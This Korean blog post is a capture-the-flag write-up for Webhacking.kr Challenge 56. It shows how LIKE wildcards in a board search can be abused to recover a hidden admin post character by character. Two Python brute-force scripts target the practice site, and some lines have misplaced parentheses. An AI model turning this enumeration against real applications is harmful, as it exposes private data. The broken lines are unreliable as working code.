티스토리 뷰

Wargame/Webhacking.kr

Challenge 56

do9dark 2015. 9. 7. 01:01

BOARD 게시판에 2개의 글과 검색 기능을 볼 수 있다.



admin의 readme 글을 눌러보면 아래와 같이 access denied가 표시되면서 내용을 볼 수가 없다.



guest의 hi~ 글을 눌러보면 아래와 같이 hi~ 라는 내용을 볼 수가 있다.



즉, admin이 작성한 readme의 내용을 보면 문제를 풀 수 있다.


검색 기능을 이용하면 내용을 알아낼 수 있다.

h를 검색하면 모든 글이 목록에 표시가 되고 i를 검색하면 guest 글만 표시가 된다.

내용의 일부만으로 검색이 되는 것을 알 수 있고 admin에 내용 중에 h는 있지만 i는 없는 것을 알 수 있다.

이러한 방법으로 admin의 내용을 유추할 수는 있지만 비효율적이다.


SQL에서 Like를 이용한 비교에서 _ 와 %가 와일드 카드 문자로 사용된다.

% matches any number of characters, even zero characters.

_ matches exactly one character.

https://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html


이를 이용해서 내용의 전체 글자 수와 위치를 알아낼 수 있다.

guest 글의 내용을 알아내는 순서

____ : 전체 글자 수(3 글자)

h__ : 첫번째 글자

hi_ : 두번째 글자

hi~ : 세번째 글자


동일한 방법으로 admin 글을 파이썬 스크립트를 이용해서 알아냈다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
import urllib
 
for i in range(1,30):
    url = "/challenge/web/web-33/index.php"
    body = urllib.urlencode({'search':'_'*i})
    header = {'Content-type':'application/x-www-form-urlencoded','Cookie':'PHPSESSID=bge4jmsp2lf8mq19a2s8dsk494'}
 
    conn = httplib.HTTPConnection('webhacking.kr')
    conn.request('POST',url,body,header)
    data = conn.getresponse().read()
    conn.close()
 
    # print data
    if(data.find('admin'== -1):
        print "size: {}".format(i-1)
        break
cs


6글자


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
import urllib
import string
 
strings = string.lowercase + string.digits + ".~!_"
content = ['_','_','_','_','_','_']
 
for i in range(0,6):
    for j in strings:
        content[i] = j
        payload = ''
        for p in content:
            payload += p
        url = "/challenge/web/web-33/index.php"
        body = urllib.urlencode({'search':payload})
        header = {'Content-type':'application/x-www-form-urlencoded','Cookie':'PHPSESSID=bge4jmsp2lf8mq19a2s8dsk494'}
 
        conn = httplib.HTTPConnection('webhacking.kr')
        conn.request('POST',url,body,header)
        data = conn.getresponse().read()
        conn.close()
 
        # print data
        if(data.find('admin'!= -1):
            print "{}: {}".format(i+1, j)
            break
print 'content:' + payload
cs



내용이 kk.php 인 것을 알 수 있고 해당 페이지로 이동해보면 문제를 풀 수 있다.



'Wargame > Webhacking.kr' 카테고리의 다른 글

Challenge 61  (0) 2015.09.10
Challenge 60  (0) 2015.09.10
Challenge 59  (0) 2015.09.10
Challenge 58  (0) 2015.09.09
Challenge 57  (0) 2015.09.08
Challenge 55  (0) 2015.09.06
Challenge 54  (0) 2015.09.06
Challenge 53  (0) 2015.09.06
Challenge 52  (0) 2015.09.06
Challenge 51  (0) 2015.09.05
댓글
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
링크
공지사항
Total
Today
Yesterday